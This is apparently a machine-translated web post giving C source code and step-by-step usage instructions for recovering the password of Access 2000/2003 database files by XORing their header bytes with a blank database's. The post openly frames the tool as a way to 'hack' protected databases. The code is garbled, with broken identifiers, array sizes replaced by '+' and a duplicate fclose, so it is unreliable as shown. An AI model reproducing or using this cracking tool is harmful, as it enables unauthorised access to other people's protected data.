According to the example written in the C language teaching book, the main hack access password, through the XOR algorithm, support access2000 and access2003, other versions of the test, the following is the specific code:
#include <stdio.h>Main () {FILE*FP;Charmm0[ +],mm1[ +],mm2[ +];intI,K;CLRSCR (); FP=fopen ("D:\mqmima.mdb","RB");if(fp==NULL) {printf ("\ n not find Mqmima.mdb database!"); exit (0);} Rewind (FP); Fseek (FP,0x42l,0); Fread (MM0, +,1, FP); fclose (FP); FP=fopen ("D:\mq.mdb","RB");if(fp==NULL) {printf ("\ n not find Mq.mdb database!"); exit (0);} Rewind (FP); Fseek (FP,0x42l,0); Fread (MM1, +,1, FP); fclose (FP); for(i=0;i< +; i++) Mm2[i]=mm0[i]^Mm1[i];fclose (FP); K=0; for(i=0;i< +; i++)if(mm2[i]!=0) {k=1; Break;}if(k==0) printf ("\ n Password!!!");Else{printf ("\npassword is:\n"); for(i=0;i< +; i=i+2) printf ("%c", Mm2[i]);}}
Instructions for use of the program:
1. Change the Access database you want to hack into the name of the Mqmima.mdb first.
2. Then in the creation of a database with this password is the same version of the database, named Mq.mdb.
3. Place the two databases at the root of the D drive.
4. Then at the command prompt, switch to maximize, run Mima.exe This file, you can print out the password of this database.
Program Download